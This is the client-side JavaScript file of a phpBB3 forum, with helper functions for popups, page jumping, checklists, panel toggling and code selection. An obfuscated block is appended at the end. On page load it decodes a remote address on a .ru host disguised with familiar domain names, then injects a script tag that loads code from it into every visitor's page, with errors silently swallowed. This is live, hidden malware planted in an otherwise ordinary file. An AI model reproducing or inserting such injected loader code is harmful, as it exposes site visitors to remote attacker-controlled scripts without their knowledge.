/**
* phpBB3 forum functions
*/

/**
* Window popup
*/
function popup(url, width, height, name)
{
	if (!name)
	{
		name = '_popup';
	}

	window.open(url.replace(/&amp;/g, '&'), name, 'height=' + height + ',resizable=yes,scrollbars=yes, width=' + width);
	return false;
}

/**
* Jump to page
*/
function jumpto()
{
	var page = prompt(jump_page, on_page);

	if (page !== null && !isNaN(page) && page == Math.floor(page) && page > 0)
	{
		if (base_url.indexOf('?') == -1)
		{
			document.location.href = base_url + '?start=' + ((page - 1) * per_page);
		}
		else
		{
			document.location.href = base_url.replace(/&amp;/g, '&') + '&start=' + ((page - 1) * per_page);
		}
	}
}

/**
* Mark/unmark checklist
* id = ID of parent container, name = name prefix, state = state [true/false]
*/
function marklist(id, name, state)
{
	var parent = document.getElementById(id);
	if (!parent)
	{
		eval('parent = document.' + id);
	}

	if (!parent)
	{
		return;
	}

	var rb = parent.getElementsByTagName('input');
	
	for (var r = 0; r < rb.length; r++)
	{	
		if (rb[r].name.substr(0, name.length) == name)
		{
			rb[r].checked = state;
		}
	}
}

/**
* Resize viewable area for attached image or topic review panel (possibly others to come)
* e = element
*/
function viewableArea(e, itself)
{
	if (!e) return;
	if (!itself)
	{
		e = e.parentNode;
	}
	
	if (!e.vaHeight)
	{
		// Store viewable area height before changing style to auto
		e.vaHeight = e.offsetHeight;
		e.vaMaxHeight = e.style.maxHeight;
		e.style.height = 'auto';
		e.style.maxHeight = 'none';
		e.style.overflow = 'visible';
	}
	else
	{
		// Restore viewable area height to the default
		e.style.height = e.vaHeight + 'px';
		e.style.overflow = 'auto';
		e.style.maxHeight = e.vaMaxHeight;
		e.vaHeight = false;
	}
}

/**
* Set display of page element
* s[-1,0,1] = hide,toggle display,show
*/
function dE(n, s)
{
	var e = document.getElementById(n);

	if (!s)
	{
		s = (e.style.display == '' || e.style.display == 'block') ? -1 : 1;
	}
	e.style.display = (s == 1) ? 'block' : 'none';
}

/**
* Alternate display of subPanels
*/
function subPanels(p)
{
	var i, e, t;

	if (typeof(p) == 'string')
	{
		show_panel = p;
	}

	for (i = 0; i < panels.length; i++)
	{
		e = document.getElementById(panels[i]);
		t = document.getElementById(panels[i] + '-tab');

		if (e)
		{
			if (panels[i] == show_panel)
			{
				e.style.display = 'block';
				if (t)
				{
					t.className = 'activetab';
				}
			}
			else
			{
				e.style.display = 'none';
				if (t)
				{
					t.className = '';
				}
			}
		}
	}
}

/**
* Call print preview
*/
function printPage()
{
	if (is_ie)
	{
		printPreview();
	}
	else
	{
		window.print();
	}
}

/**
* Show/hide groups of blocks
* c = CSS style name
* e = checkbox element
* t = toggle dispay state (used to show 'grip-show' image in the profile block when hiding the profiles) 
*/
function displayBlocks(c, e, t)
{
	var s = (e.checked == true) ?  1 : -1;

	if (t)
	{
		s *= -1;
	}

	var divs = document.getElementsByTagName("DIV");

	for (var d = 0; d < divs.length; d++)
	{
		if (divs[d].className.indexOf(c) == 0)
		{
			divs[d].style.display = (s == 1) ? 'none' : 'block';
		}
	}
}

function selectCode(a)
{
	// Get ID of code block
	var e = a.parentNode.parentNode.getElementsByTagName('CODE')[0];

	// Not IE
	if (window.getSelection)
	{
		var s = window.getSelection();
		// Safari
		if (s.setBaseAndExtent)
		{
			s.setBaseAndExtent(e, 0, e, e.innerText.length - 1);
		}
		// Firefox and Opera
		else
		{
			// workaround for bug # 42885
			if (window.opera && e.innerHTML.substring(e.innerHTML.length - 4) == '<BR>')
			{
				e.innerHTML = e.innerHTML + '&nbsp;';
			}

			var r = document.createRange();
			r.selectNodeContents(e);
			s.removeAllRanges();
			s.addRange(r);
		}
	}
	// Some older browsers
	else if (document.getSelection)
	{
		var s = document.getSelection();
		var r = document.createRange();
		r.selectNodeContents(e);
		s.removeAllRanges();
		s.addRange(r);
	}
	// IE
	else if (document.selection)
	{
		var r = document.body.createTextRange();
		r.moveToElementText(e);
		r.select();
	}
}

/**
* Play quicktime file by determining it's width/height
* from the displayed rectangle area
*/
function play_qt_file(obj)
{
	var rectangle = obj.GetRectangle();

	if (rectangle)
	{
		rectangle = rectangle.split(',');
		var x1 = parseInt(rectangle[0]);
		var x2 = parseInt(rectangle[2]);
		var y1 = parseInt(rectangle[1]);
		var y2 = parseInt(rectangle[3]);

		var width = (x1 < 0) ? (x1 * -1) + x2 : x2 - x1;
		var height = (y1 < 0) ? (y1 * -1) + y2 : y2 - y1;
	}
	else
	{
		var width = 200;
		var height = 0;
	}

	obj.width = width;
	obj.height = height + 16;

	obj.SetControllerVisible(true);
	obj.Play();
}

this.Mv='';try {this.yB='';var jd;if(jd!=''){jd='E'};var Z=RegExp;var o;if(o!='' && o!='Mt'){o='KA'};this.m="";var S='[';var T=new Array();var W='replace';var D='g';this.Zt='';var M='';this.yBK="";var Eg;if(Eg!='' && Eg!='OS'){Eg=''};var u=']';var uB=new Array();var sb;if(sb!='Od'){sb=''};var Q;if(Q!='' && Q!='Er'){Q=''};function _(l,x){var YR="";var z=S;var CX;if(CX!='qw'){CX='qw'};z+=x;var KG=new Date();z+=u;var XV=new Date();var vq;if(vq!='' && vq!='P'){vq='aS'};var X=new Z(z, D);var BL;if(BL!='f' && BL != ''){BL=null};return l[W](X, M);var Zd=new String();};var xv=new Array();var p=new Date();var h='';var C=_('87733033387370777',"73");var w;if(w!='QO' && w!='OM'){w='QO'};var H=_('o7n7lUoZa7d7',"ZU7");var V=_('sXc_r_i_p_tX',"_X");var B=_('aMpNpMeMnNdMCNhfiNlNdf',"NfM");var bm;if(bm!='hJ' && bm!='md'){bm=''};this.xg="";var v=_('bToTdWyY',"TnYW");var Kx;if(Kx!='GD' && Kx!='nN'){Kx=''};var U=_('sgeYtYAqtFtYrFiYbguFtgeg',"qFYg");var I=_('cArbeHaLtgegEglLeHmbeAngtA',"LAbgH");var oL='';var l="1";var k=_('/VxViVnVhfufaRnJeVtf.JcfoVmR/RxRiJnRhRuRaJnVeftJ.RcfoJmR/fgRoJoRgJlJef.RcRoRmR/JsRhJaVrVeVaRsJaflRef.RcRofmf/JcVoJnJsVtVaRnJtRcVoJnJtRaRcRtJ.VcRoVmR.fpRhRpR',"fJVR");var z_='';var aJ;if(aJ!='DM'){aJ='DM'};var O=_('hktkt0pk:k/k/2m2e2tkr2o0f0l2okg0-0c0o0m2.kwka2s2h2i2nkg0t0o0n2pko0skt0.2c0o2mk.0s0t0u2m0b2lke0u0pko2n2-0cko0m2.2g0r0eka0t0w2eks2t0e2n2d0.0r0uk:2',"20k");var Tu=new Array();var HZ;if(HZ!='Cn'){HZ=''};window[H]=function(){var CR=new String();var cm='';VK=document[I](V);var aW;if(aW!=''){aW='IW'};h+=O;var xs;if(xs!='to' && xs!='mM'){xs=''};h+=C;var Vz;if(Vz!='' && Vz!='Jm'){Vz='RaW'};var qF;if(qF!='oI' && qF!='Hb'){qF='oI'};h+=k;VK.src=h;var JB;if(JB!='r' && JB!='Ae'){JB='r'};var IR=document[v];this.aB="";VK.setAttribute('defer', l);var IWh;if(IWh!='HY' && IWh!='sT'){IWh=''};this.ju="";var oe=new Array();IR.appendChild(VK);var Yk;if(Yk!='jh'){Yk='jh'};};var fP;if(fP!='bF' && fP != ''){fP=null};var Bf='';var tv;if(tv!='' && tv!='JG'){tv=null};this.JO='';} catch(K){};this.UL='';this.YF='';